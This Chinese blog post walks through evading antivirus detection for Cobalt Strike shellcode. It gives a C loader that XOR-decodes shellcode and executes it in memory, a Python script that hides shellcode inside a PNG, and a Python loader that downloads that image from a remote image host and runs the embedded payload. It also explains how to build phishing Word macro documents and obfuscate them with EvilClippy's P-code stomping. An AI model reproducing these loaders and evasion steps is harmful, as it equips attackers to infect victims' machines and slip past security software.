加载shellcode免杀这一问题是渗透过程中不可缺少的部分,以此使得我们的目标机器能够成功上线。此篇博客记录我免杀入门的简单尝试。

CS生成默认shellcode

生成64位shellcode

shellcode加密

首先采用如下算法对shellcode进行简单加密:

生成加密后的shellcode。然后我们编写加载程序。程序在运行后才对加密后的shellcode进行解密,所以执行前杀软扫不出shellcode特征码,实现静态查杀的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


unsigned char buf[] = "";
void main() {

int i;
for (i = 0; i < 927; i++) {
buf[i] = buf[i] ^ buf[i + 1];
}

char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}

成功上线:

VT 21/66,效果并不理想。

分离免杀

原理类似于加密shellcode。同样地,将原来的shellcode进行编码与加密,但是这里shellcode并不放入主程序,而是隐藏在其他文件中。这样,后门本体就没有shellcode了,运行时再从其他文件进行加载。

这里的脚本我将shellcode进行base64编码后,写入一个文件,并在最后两个字节记录base64编码后的shellcode的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64

# 写入的shellcode
shellcode = b"shellcode"
# 待写入shellcode的文件路径
fileName = "E:/Desktop/免杀/第三方加载shellcode/guanxi.png"


based = base64.encodebytes(shellcode)
len_based = len(based)
print(based)

with open(fileName,"rb+") as f:
strb = f.read()
print(len(strb) // 1024, 'kb', len(strb) % 1024, 'bytes')

with open(fileName[:-4] + 'Coded' + fileName[-4:],"wb+") as f:
f.write(strb + based + len_based.to_bytes(2, 'big'))

将文件上传到国外图床,加载时进行下载并解析执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import ctypes
import base64
import os
import requests


url = bytes(
'编码后的图床url', 'ascii')
r = requests.get(base64.b64decode(url))
with open(os.path.expanduser('~') + '/guanxiCoded.png', "wb") as code:
code.write(r.content)



# filename = '写入了shellcode的文件路径'
# filename = "%USERPROFILE%/guanxiCoded.png"
# 查找USERPROFILE文件夹下的guanxiCoded.png
filename = os.path.expanduser('~') + '/guanxiCoded.png'


with open(filename, "rb") as f:

# 解析文件
strb = f.read()
len_based = int.from_bytes(strb[-2:], 'big')
based = strb[-2-len_based: -2]
# print(len(strb) // 1024, 'kb', len(strb) % 1024, 'bytes')
shellcode = base64.decodebytes(based)


shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建 shellcode 的函数指针


shellcode_func = ctypes.cast(
shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行 shellcode
shellcode_func()

office宏免杀

当用户打开文档并开启宏时,会执行宏内的VBA脚本。如果不对宏进行混淆会被秒杀。

CS生成宏:

复制宏后,打开一个word文档:

选择此文档,随便写个名字,然后点击创建:

清空原有内容,粘贴宏脚本:

这里选择否。然后保存为启用宏的 word 文档。注意:这里一定要先关闭杀软,不然会保存失败,因为现在还没有做免杀处理

保存,另存为”Word 97-2003 文档 (*.doc)”,即 doc 文件,保证低版本可以打开。之后关闭,再打开即可执行宏代码。注意修改作者

当目标点击启用宏的选项之后就会上线:

现在简单整理一下免杀的思路

  1. 远程调用启用宏模板
  2. 对vba脚本进行编码混淆
  3. vba写hta、vbs脚本、写注册表等手段来绕过
  4. 文档加密

如何规避静态查杀?最好的办法当然是自己写恶意代码,但大部分云黑客都是脚本小子,这也没关系,现在 gayhub 上也有很多免杀开源的脚本。这里以 EvilClippy 作为演示 用于创建恶意 MS Office 文档的跨平台助手。

EvilClippy是一款专用于创建恶意MS Office测试文档的跨平台安全工具,它可以隐藏VBA宏和VBA代码,并且可以对宏代码进行混淆处理以增加宏分析工具的分析难度。当前版本的EvilClippy支持在Linux、macOS和Windows平台上运行,实现了跨平台特性。

项目地址:outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows. (github.com)

需要安装mono,使用如下命令即可编译:

1
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs

首先创建一个正常的vba代码文件,因为该工具的原理就是利用正常的vba代码和带有宏病毒vba代码的文件进行混淆来绕过杀软的查杀。

1
2
3
4
5
Sub test()

Dim X

X = MsgBox("test")

然后执行:

1
mono ./EvilClippy.exe -s test.vba Doc1.doc

最后发现使用工具-r会被杀掉,使用-s(滥用P-code)可以绕过。

宏免杀使用工具虽然方便,但局限性很大,我们可以学习工具的思路或者修改底层的VBA代码,结合不同的利用姿势,从而达到更强免杀效果。

参考博客:

CS钓鱼文档宏病毒免杀初探-技术圈 (proginn.com)

Office如何快速进行宏免杀 - 云+社区 - 腾讯云 (tencent.com)

Office宏病毒文件制作以及简单免杀 - reader-l’s blog

2021-11-23
Contents

⬆︎TOP